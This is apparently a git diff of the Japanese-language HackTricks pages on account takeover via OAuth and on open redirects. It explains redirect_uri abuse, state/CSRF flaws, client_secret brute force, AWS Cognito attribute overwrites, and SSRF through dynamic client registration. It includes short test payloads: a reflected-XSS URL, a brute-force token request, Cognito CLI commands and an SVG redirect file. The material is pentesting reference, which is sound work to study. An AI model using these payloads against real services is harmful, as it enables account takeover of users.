[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化**ます。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化**てください。\
今すぐアクセスを取得: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,4 +1,4 @@
# OAuthを使用したアカウント乗っ取り # OAuthを用したアカウント乗っ取り
<details> <details>
@ -7,42 +7,42 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)。
- **ハッキングトリックを共有するには、**[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>
## 基本情報 <a href="#d4a8" id="d4a8"></a> ## 基本情報 <a href="#d4a8" id="d4a8"></a>
OAuthにはさまざまなバージョンがあり、基本的な情報は[OAuth 2.0ドキュメント](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0認可コードグラントタイプ](https://oauth.net/2/grant-types/authorization-code/)に焦点を当て、**アプリケーションが別のアプリケーション(認可サーバー)のユーザーアカウントにアクセスしたりアクションを実行したりするための認可フレームワーク**を提供します。 OAuthにはさまざまなバージョンがあり、基本的な情報は[OAuth 2.0ドキュメント](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0認可コードグラントタイプ](https://oauth.net/2/grant-types/authorization-code/)に焦点を当て、**アプリケーションが別のアプリケーション(認可サーバー)のユーザーアカウントにアクセスしたりアクションを実行するための認可フレームワーク**を提供します。
仮想のウェブサイト _**https://example.com**_ を考えてみましょう。このサイトは**すべてのソーシャルメディア投稿**を表示するために設計されており、プライベートな投稿も含まれます。これを実現するためにOAuth 2.0が使用されます。_https://example.com_ は**あなたのソーシャルメディア投稿にアクセスする許可**をリクエストします。その結果、同意画面が _https://socialmedia.com_ に表示され、**リクエストされている権限とリクエストを行っている開発者**が示されます。あなたの承認を得ると、_https://example.com_ は**あなたの投稿にアクセスする権限を取得**します。 仮想のウェブサイト _**https://example.com**_ を考えてみましょう。このサイトは**あなたのソーシャルメディア投稿をすべて表示**するように設計されています。これを実現するためにOAuth 2.0が使用されます。_https://example.com_ は**あなたのソーシャルメディア投稿にアクセスする許可**をリクエストします。その結果、同意画面が _https://socialmedia.com_ に表示され、**リクエストされている権限とリクエストを行っている開発者**が示されます。あなたの承認を得ると、_https://example.com_ は**あなたの投稿にアクセスする権限を取得**します。
OAuth 2.0フレームワーク内で以下のコンポーネントを把握することが重要です: OAuth 2.0フレームワーク内で以下のコンポーネントを把握することが重要です:
- **リソースオーナー**: **ユーザー/エンティティ**として、あなたがリソース(たとえばソーシャルメディアアカウントの投稿へのアクセスを承認します。 - **リソースオーナー**: **ユーザー/エンティティ**として、あなたがソーシャルメディアアカウントの投稿などのリソースへのアクセスを承認します。
- **リソースサーバー**: `アクセストークン`を取得した後、認証済みリクエストを処理する**サーバー**、例:**https://socialmedia.com**。 - **リソースサーバー**: `リソースオーナー`の`アクセストークン`を取得した後に認証されたリクエストを処理する**サーバー**、例:**https://socialmedia.com**。
- **クライアントアプリケーション**: `リソースオーナー`から認可を取得しようとする**アプリケーション**、例:**https://example.com**。 - **クライアントアプリケーション**: `リソースオーナー`から認可を求める**アプリケーション**、例:**https://example.com**。
- **認可サーバー**: `リソースオーナー`の認証に成功し、認可を取得した後に`クライアントアプリケーション`に`アクセストークン`を発行する**サーバー**、例:**https://socialmedia.com**。 - **認可サーバー**: `リソースオーナー`の認証に成功し、認可を取得した後に`クライアントアプリケーション`に`アクセストークン`を発行する**サーバー**、例:**https://socialmedia.com**。
- **client\_id**: アプリケーションのための公開された一意の識別子。 - **client\_id**: アプリケーションのための公開された一意の識別子。
- **client\_secret:** アプリケーションと認可サーバーだけが知っている機密キーで、`アクセストークン`を生成するために使用されます。 - **client\_secret:** アプリケーションと認可サーバーだけが知っている機密キーで、`アクセストークン`を生成するために使用されます。
- **response\_type**: 要求されたトークンの**タイプを指定する値**、たとえば`code`。 - **response\_type**: 要求されたトークンの種類を指定する値、例:`code`。
- **scope**: `クライアントアプリケーション`が`リソースオーナー`から要求している**アクセスレベル**。 - **scope**: `クライアントアプリケーション`が`リソースオーナー`から要求している**アクセスレベル**。
- **redirect\_uri**: 承認後にユーザーがリダイレクトされる**URL**。通常、事前登録されたリダイレクトURLと一致する必要があります。 - **redirect\_uri**: 承認後にユーザーがリダイレクトされる**URL**。通常、事前登録されたリダイレクトURLと一致する必要があります。
- **state**: ユーザーの承認サーバーへのリダイレクトとリダイレクトからのデータの**維持に使用されるパラメータ**。その一意性は**CSRF保護メカニズム**として重要です。 - **state**: ユーザーの承認サーバーへのリダイレクトとリダイレクトからのデータの維持に使用されるパラメータ。その一意性は**CSRF保護メカニズム**として重要です。
- **grant\_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。 - **grant\_type**: **グラントタイプと返されるトークンの種類**を示すパラメータ。
- **code**: `認可サーバー`からの認可コードで、`クライアントアプリケーション`が`アクセストークン`を取得するために`client_id`と`client_secret`と一緒に使用します。 - **code**: `認可サーバー`からの認可コードで、`クライアントアプリケーション`が`アクセストークン`を取得するために`client_id`と`client_secret`と一緒に使用します。
- **access\_token**: `リソースオーナー`の代わりに`APIリクエスト`に使用される**トークン**。 - **access\_token**: `リソースオーナー`の代わりに`クライアントアプリケーション`がAPIリクエストに使用する**トークン**。
- **refresh\_token**: ユーザーに再度プロンプトを表示せずに**新しい`アクセストークン`を取得する**ためのアプリケーションを有効にします - **refresh\_token**: ユーザーに再度プロンプトを表示せずに新しい`アクセストークン`を取得するための**トークン**
### フロー ### フロー
**実際のOAuthフロー**は次のように進行します: **実際のOAuthフロー**は次のように進行します:
1. [https://example.com](https://example.com) に移動し、「ソーシャルメディアと統合」ボタンを選択します。 1. [https://example.com](https://example.com) に移動し、「ソーシャルメディアと統合」ボタンを選択します。
2. サイトは、https://example.comのアプリケーションがあなたの投稿にアクセスする許可を求めるために[https://socialmedia.com](https://socialmedia.com) にリクエストを送信します。リクエストは次のように構造化されます: 2. サイトはその後、https://example.comのアプリケーションがあなたの投稿にアクセスする許可を求めるために[https://socialmedia.com](https://socialmedia.com)にリクエストを送信します。リクエストは次のように構造化されます:
``` ```
https://socialmedia.com/auth https://socialmedia.com/auth
?response_type=code ?response_type=code
@ -57,7 +57,7 @@ https://socialmedia.com/auth
``` ```
https://example.com?code=uniqueCode123&state=randomString123 https://example.com?code=uniqueCode123&state=randomString123
``` ```
5. https://example.comは、あなたの代わりに`code`とその`client_id`および`client_secret`を使用して、サーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にする`access_token`を取得します。 5. https://example.comは、あなたの代わりに`code`とその`client_id`、`client_secret`を使用してサーバーサイドリクエストを行い、あなたが同意した権限にアクセスできる`access_token`を取得します。
``` ```
POST /oauth/access_token POST /oauth/access_token
Host: socialmedia.com Host: socialmedia.com
@ -69,25 +69,25 @@ Host: socialmedia.com
### オープンリダイレクト\_uri <a href="#cc36" id="cc36"></a> ### オープンリダイレクト\_uri <a href="#cc36" id="cc36"></a>
`redirect_uri`はOAuthやOpenIDの実装においてセキュリティ上重要であり、認可コードなどの機密データが認可後に送信される先を指定します。誤って構成されていると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせ、アカウント乗っ取りを可能にすることがあります。 `redirect_uri`はOAuthやOpenIDの実装においてセキュリティ上重要であり、認可後に認可コードなどの機密データが送信される先を指定します。誤って構成されていると、攻撃者がこれらのリクエストを悪意のあるサーバーにリダイレクトさせることが可能になり、アカウント乗っ取りを可能にします。
悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から指定されたドメインやサブディレクトリ内の任意のURLを受け入れるまで幅広くあります。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン盗難のためのHTMLインジェクションが含まれます。 悪用技術は、認可サーバーの検証ロジックに基づいて異なります。厳密なパス一致から指定されたドメインやサブディレクトリ内の任意のURLを受け入れるまでさまざまです。一般的な悪用方法には、オープンリダイレクト、パストラバーサル、弱い正規表現の悪用、トークン盗難のためのHTMLインジェクションが含まれます。
`redirect_uri`以外にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri`などのOAuthやOpenIDのパラメーターもリダイレクト攻撃の対象となります。これらのパラメーターはオプションであり、サーバーごとにサポート状況が異なります。 `redirect_uri`以外にも、`client_uri`、`policy_uri`、`tos_uri`、`initiate_login_uri`などの他のOAuthやOpenIDのパラメーターもリダイレクト攻撃の対象となります。これらのパラメーターはオプションであり、サーバーによってサポートが異なります。
OpenIDサーバーを標的とする場合、ディスカバリーエンドポイント(`**.well-known/openid-configuration**`)には、`registration_endpoint`、`request_uri_parameter_supported`、"`require_request_uri_registration`などの貴重な構成詳細が一覧表示されることがよくあります。これらの詳細は、登録エンドポイントやサーバーのその他の構成に関する特定を支援するのに役立ちます。 OpenIDサーバーを対象とする場合、ディスカバリーエンドポイント(`**.well-known/openid-configuration**`)はしばしば`registration_endpoint`、`request_uri_parameter_supported`、"`require_request_uri_registration`などの貴重な構成詳細をリストします。これらの詳細は、登録エンドポイントやサーバーのその他の構成の特定に役立ちます。
### リダイレクト実装におけるXSS <a href="#bda5" id="bda5"></a> ### リダイレクト実装におけるXSS <a href="#bda5" id="bda5"></a>
このバグバウンティレポート[https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html)で言及されているように、ユーザーが認証した後、サーバーの応答にリダイレクト**URLが反映されている**可能性があり、**XSSに脆弱**です。テストする可能性のあるペイロード: このバグバウンティレポート[https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html)で述べられているように、ユーザーが認証した後、サーバーの応答に**リダイレクトURLが反映されている**可能性があり、**XSSに脆弱**です。テストする可能性のあるペイロード:
``` ```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1> https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
``` ```
### CSRF - 状態パラメータの不適切な処理 <a href="#bda5" id="bda5"></a> ### CSRF - `state`パラメータの不適切な処理 <a href="#bda5" id="bda5"></a>
OAuthの実装において、**`state`パラメータ**の誤用や省略は、**Cross-Site Request Forgery (CSRF)** 攻撃のリスクを著しく増加させる可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護をバイパスすることを可能にします。 OAuthの実装において、**`state`パラメータ**の誤用や省略は、**Cross-Site Request Forgery (CSRF)** 攻撃のリスクを著しく増加させる可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護をバイパスすることを可能にします。
攻撃者は、認可プロセスを傍受して、自分のアカウントを被害者のアカウントリンクさせることで、**アカウント乗っ取り**の可能性を引き起こすことができます。これは、OAuthが**認証目的**で使用されているアプリケーションにおいて特に重大です。 攻撃者は、認可プロセスを傍受して、自分のアカウントを被害者のアカウントリンクさせることで、**アカウント乗っ取り**の可能性を引き起こすことができます。これは、OAuthが**認証目的**で使用されているアプリケーションにおいて特に重大です。
この脆弱性の実世界の例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実用的な影響が示されています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも影響を及ぼし、攻撃者が通知や支払いを自分のアカウントにリダイレクトすることができます。 この脆弱性の実世界の例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実用的な影響が示されています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも影響を及ぼし、攻撃者が通知や支払いを自分のアカウントにリダイレクトすることができます。
@ -95,19 +95,19 @@ OAuthの実装において、**`state`パラメータ**の誤用や省略は、*
### アカウント乗っ取り前 <a href="#ebe4" id="ebe4"></a> ### アカウント乗っ取り前 <a href="#ebe4" id="ebe4"></a>
1. **アカウント作成時のメール確認がない場合**: 攻撃者は、被害者のメールを使用して事前にアカウントを作成することができます。後に被害者がサードパーティサービスを使用してログインした場合、アプリケーションは誤ってこのサードパーティアカウントを攻撃者が事前に作成したアカウントにリンクさせる可能性があり、不正アクセスが発生します。 1. **アカウント作成時のメール確認がない場合**: 攻撃者は、被害者のメールを使用して事前にアカウントを作成することができます。後に被害者がサードパーティサービスを使用してログインした場合、アプリケーションは誤ってこのサードパーティアカウントを攻撃者が事前に作成したアカウントにリンクさせ、不正アクセスを引き起こす可能性があります。
2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用して、自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することができます。この方法は、最初のシナリオと同様に、不正なアカウントアクセスのリスクをもたらしますが、異なる攻撃ベクトルを介して行われます。 2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用して、自分のサービスに登録し、その後アカウントのメールを被害者のものに変更することができます。この方法は、最初のシナリオと同様に、未承認のアカウントアクセスのリスクをもたらしますが、異なる攻撃ベクトルを介して行われます。
### シークレット情報の開示 <a href="#e177" id="e177"></a> ### シークレット情報の開示 <a href="#e177" id="e177"></a>
秘密のOAuthパラメータを特定し、保護することは重要です。**`client_id`**は安全に開示できますが、**`client_secret`**を明らかにすると重大なリスクが生じます。`client_secret`が漏洩すると、攻撃者はアプリケーションのアイデンティティと信頼を悪用して、ユーザーの`access_token`や個人情報を**盗み出す**ことができます。 秘密のOAuthパラメータを特定し、保護することは重要です。**`client_id`**は安全に開示できますが、**`client_secret`**を明らかにすると重大なリスクが生じます。`client_secret`が漏洩すると、攻撃者はアプリケーションのアイデンティティと信頼を悪用して、ユーザーの`access_token`や個人情報を**盗み出す**ことができます。
アプリケーションが認可コードを`access_token`に交換する処理を誤ってクライアントサイドで処理する場合、一般的な脆弱性が発生します。このミスは`client_secret`の露出を引き起こし、攻撃者がアプリケーションの姿を装って`access_token`を生成することを可能にします。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで特権を昇格させ、アプリケーションの信頼された状態をさらに悪用することができます。 アプリケーションが認可コードを`access_token`に交換する処理を誤ってクライアントサイドで処理する場合、一般的な脆弱性が発生します。このミスは`client_secret`の露出を引き起こし、攻撃者がアプリケーションの姿を装って`access_token`を生成することを可能にします。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで特権を昇格させ、アプリケーションの信頼されたステータスをさらに悪用することができます。
### クライアントシークレットのブルートフォース ### クライアントシークレットのブルートフォース
サービスプロバイダのクライアントシークレットを**ブルートフォース**してアカウントを盗むことを試みることができます。\ サービスプロバイダのクライアントシークレットを**ブルートフォース**してアカウントを盗むことを試みることができます。\
BFへのリクエストは次のように見えるかもしれません BFへのリクエストは次のように見えるかもしれません
``` ```
POST /token HTTP/1.1 POST /token HTTP/1.1
@ -120,15 +120,15 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
``` ```
### Referer Header leaking Code + State ### Referer Header leaking Code + State
クライアントが**コードと状態**を取得した後、別のページに移動する際に**Refererヘッダー内に反映されている**場合、脆弱性があります クライアントが**コードと状態**を取得した後、別のページに移動する際に**Refererヘッダー内に反映されている場合、脆弱性がある**
### Access Token Stored in Browser History ### Access Token Stored in Browser History
**ブラウザの履歴を確認し、アクセストークンが保存されているかどうかを確認します**。 **ブラウザの履歴を確認し、アクセストークンが保存されているかどうかを確認します**。
### Everlasting Authorization Code ### Everlasting Authorization Code
**認証コードは一定の期間だけ有効であるべきで、攻撃者がそれを盗み出して使用できる時間枠を制限する必要があります**。 **認証コードは一定の期間だけ有効であ、攻撃者がそれを盗み出して使用できる時間枠を制限する必要があります**。
### Authorization/Refresh Token not bound to client ### Authorization/Refresh Token not bound to client
@ -136,11 +136,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values ### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
**[この投稿をチェック](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)** **[この投稿をチェックしてください](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a> ### AWS Cognito <a href="#bda5" id="bda5"></a>
このバグバウンティレポート: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) では、**AWS Cognito**がユーザーに返す**トークン**には、**ユーザーデータを上書きするための十分な権限がある可能性**があります。したがって、異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できれば、他のアカウントを**乗っ取る**ことができるかもしれません。 このバグバウンティレポート: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) では、**AWS Cognito**がユーザーに返す**トークン**には、**ユーザーデータを上書きするための十分な権限がある可能性**があります。したがって、異なるユーザーのメールアドレスにユーザーのメールアドレスを**変更できる場合、他のアカウントを乗っ取る**ことができるかもしれません。
```bash ```bash
# Read info of the user # Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -159,44 +159,44 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
``` ```
### 他のアプリのトークンの乱用 <a href="#bda5" id="bda5"></a> ### 他のアプリのトークンの乱用 <a href="#bda5" id="bda5"></a>
[**この解説**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)に記載されているように、**トークン**コードではなくを受け取ることを期待するOAuthフローは、そのトークンがアプリに属しているかどうかをチェックしていない場合に脆弱性を持つ可能性があります。 [**この解説**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)に記載されているように、**トークン**コードではなくを受け取ることを期待するOAuthフローは、そのトークンがアプリに属しているかどうかをチェックしない場合に脆弱性を持つ可能性があります。
これは、**攻撃者**がOAuthをサポートする**アプリケーションを作成し、Facebookでログイン**した後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のOAuthトークンを取得し、被害者のユーザートークンを使用して被害者のOAuthアプリケーションにログイン**できます。 これは、**攻撃者**がOAuthをサポートする**アプリケーションを作成し、Facebookでログイン**した後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**ユーザーのOAuthトークンを取得し、そのトークンを使用して被害者のOAuthアプリケーションに被害者のユーザートークンでログイン**できるためです。
{% hint style="danger" %} {% hint style="danger" %}
したがって、攻撃者がユーザーに自分のOAuthアプリケーションにアクセスさせることに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができますが、そのアプリケーションはトークンが自分のアプリIDに付与されたものかどうかをチェックしていません。 したがって、攻撃者がユーザーに自分のOAuthアプリケーションにアクセスさせることに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。そして、そのアプリケーションは、トークンが自分のアプリIDに付与されたものかどうかをチェックしていません。
{% endhint %} {% endhint %}
### 2つのリンクとクッキー <a href="#bda5" id="bda5"></a> ### 2つのリンクとクッキー <a href="#bda5" id="bda5"></a>
[**この解説**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、被害者に**攻撃者のホストを指すreturnUrl**を持つページを開かせることが可能でした。この情報は**クッキーRU**に保存され、**後のステップ**で**プロンプト**が**ユーザー**その攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。 [**この解説**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)によると、被害者に**攻撃者のホストを指すreturnUrl**を持つページを開かせることが可能でした。この情報は**クッキーRUに保存され**、**後のステップ**で**プロンプト**が**ユーザー**その攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
このプロンプトをバイパスするために、**returnUrl**を使用してこのRUクッキーを設定する**Oauthフロー**を開始するためのタブを開き、プロンプトが表示される前にそのタブを閉じ、その値がない新しいタブを開くことが可能でした。その後、**プロンプトは攻撃者のホストについて通知しません**が、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信**されます。 このプロンプトをバイパスするために、**returnUrl**を使用してこのRUクッキーを設定する**Oauthフロー**を開始するためのタブを開き、プロンプトが表示される前にそのタブを閉じ、その値がない新しいタブを開くことが可能でした。その後、**プロンプトは攻撃者のホストについて通知しません**が、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信**されます。
### SSRFパラメータ <a href="#bda5" id="bda5"></a> ### SSRFパラメータ <a href="#bda5" id="bda5"></a>
**[この研究](https://portswigger.net/research/hidden-oauth-attack-vectors)をチェックして、この技術の詳細を確認してください。** **[この研究をチェック](https://portswigger.net/research/hidden-oauth-attack-vectors)して、この技術の詳細を確認してください。**
OAuthのDynamic Client Registrationは、**Server-Side Request Forgery (SSRF)** 攻撃に対して特に重要なセキュリティ脆弱性のベクトルとして機能します。このエンドポイントは、クライアントアプリケーションに関する詳細情報を受け取、悪用される可能性のある機密性の高いURLをOAuthサーバーに提供します。 OAuthのDynamic Client Registrationは、**Server-Side Request Forgery (SSRF)** 攻撃に対して特に重要なセキュリティ脆弱性のベクトルとして機能します。このエンドポイントは、クライアントアプリケーションに関する詳細情報を受け取るために使用され、悪用される可能性のある機密性の高いURLをOAuthサーバーに提供します。
**主なポイント:** **主なポイント:**
- **Dynamic Client Registration** は、通常 `/register` にマップされ、`client_name`、`client_secret`、`redirect_uris`、およびPOSTリクエストを介してロゴやJSON Web Key SetsJWKsのURLなどの詳細を受け入れます。 - **Dynamic Client Registration** は、通常 `/register` にマップされ、`client_name`、`client_secret`、`redirect_uris`、およびPOSTリクエストを介してロゴやJSON Web Key SetsJWKsのURLなどの詳細を受け入れます。
- この機能は、**RFC7591** および **OpenID Connect Registration 1.0** で規定された仕様に従い、SSRFに脆弱性のある可能性のあるパラメータを含みます。 - この機能は、**RFC7591** および **OpenID Connect Registration 1.0** で規定された仕様に従い、SSRFに脆弱性のある可能性のあるパラメータを含みます。
- 登録プロセスは、次のようにしてサーバーをSSRFにさらす可能性があります: - 登録プロセスは、次のようにしてサーバーをSSRFにさらす可能性があります:
- **`logo_uri`**: クライアントアプリケーションのロゴのURLで、サーバーが取得する可能性があるため、SSRFをトリガーしたり、URLが誤処理された場合にXSSを引き起こす可能性があります。 - **`logo_uri`**: クライアントアプリケーションのロゴのURLで、サーバーが取得する可能性があるため、SSRFをトリガーするか、URLが誤処理されるとXSSにつながる可能性があります。
- **`jwks_uri`**: クライアントのJWKドキュメントへのURLで、悪意のある作成がされると、サーバーが攻撃者が制御するサーバーに対してアウトバウンドリクエストを行う可能性があります。 - **`jwks_uri`**: クライアントのJWKドキュメントへのURLで、悪意のある作成が可能であれば、サーバーが攻撃者が制御するサーバーに対してアウトバウンドリクエストを行う可能性があります。
- **`sector_identifier_uri`**: `redirect_uris` のJSON配列を参照し、サーバーが取得する可能性があるため、SSRFの機会が生じます。 - **`sector_identifier_uri`**: `redirect_uris` のJSON配列を参照し、サーバーが取得する可能性があるため、SSRFの機会を作成します。
- **`request_uris`**: クライアントの許可されたリクエストURIをリストアップし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。 - **`request_uris`**: クライアントの許可されたリクエストURIをリストアップし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
**悪用戦略:** **悪用戦略:**
- `logo_uri`、`jwks_uri`、または `sector_identifier_uri` のパラメータに悪意のあるURLを持つ新しいクライアントを登録することで、SSRFをトリガーできます。 - `logo_uri`、`jwks_uri`、または`sector_identifier_uri`などのパラメータに悪意のあるURLを持つ新しいクライアントを登録することで、SSRFをトリガーできます。
- `request_uris` を介した直接的な悪用はホワイトリスト制御によって緩和される可能性がありますが、事前に登録された、攻撃者が制御する `request_uri` を提供することで、認可フェーズ中にSSRFを容易にすることができます。 - `request_uris`を介した直接的な悪用はホワイトリスト制御によって緩和されるかもしれませんが、事前登録された攻撃者が制御する`request_uri`を提供することで、認可フェーズ中にSSRFを容易にすることができます。
## OAuthプロバイダーの競合状態 ## OAuthプロバイダーの競合状態
テストしているプラットフォームがOAuthプロバイダーである場合は、[**こちらを読んで競合状態の可能性をテストしてください**](race-condition.md)。 テストしているプラットフォームがOAuthプロバイダーである場合は、[**こちらを読んで競合状態をテスト**](race-condition.md)してください
## 参考文献 ## 参考文献

View file

@ -6,9 +6,9 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。 * **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[telegramグループに参加](https://t.me/peass)し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください**。**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
</details> </details>
@ -66,7 +66,7 @@ javascript://whitelisted.com?%a0alert%281%29
``` ```
# SVGファイルをアップロードするオープンリダイレクト # SVGファイルをアップロードするオープンリダイレクト
An open redirect vulnerability can be exploited when uploading SVG files. When an application allows users to upload files and does not properly validate the redirect URL, an attacker can upload a malicious SVG file containing a crafted URL that redirects users to a malicious website when accessed. This can be used in phishing attacks or to trick users into visiting malicious websites unknowingly. An open redirect vulnerability can be exploited when uploading SVG files. When an application allows users to upload files and does not properly validate the redirect URL, an attacker can upload a malicious SVG file containing a crafted URL that redirects users to a malicious website. This can be used in phishing attacks to trick users into visiting a fake website that appears legitimate.
```markup ```markup
<code> <code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -78,16 +78,13 @@ xmlns="http://www.w3.org/2000/svg">
``` ```
# 一般的なインジェクションパラメータ # 一般的なインジェクションパラメータ
An open redirect vulnerability exists when a web application allows users to navigate to an external URL of the attacker's choosing. This can be exploited by an attacker to trick users into visiting malicious websites. To identify open redirect vulnerabilities, testers can look for the following common injection parameters: An open redirect vulnerability exists when a web application allows users to navigate to an external URL of the attacker's choosing. This can be exploited by an attacker to trick users into visiting malicious websites while appearing to be on a trusted domain. To identify open redirect vulnerabilities, testers should look for the following parameters in URLs:
- `url` - `url`
- `link` - `link`
- `next` - `next`
- `target` - `target`
- `r` - `rurl`
- `dest`
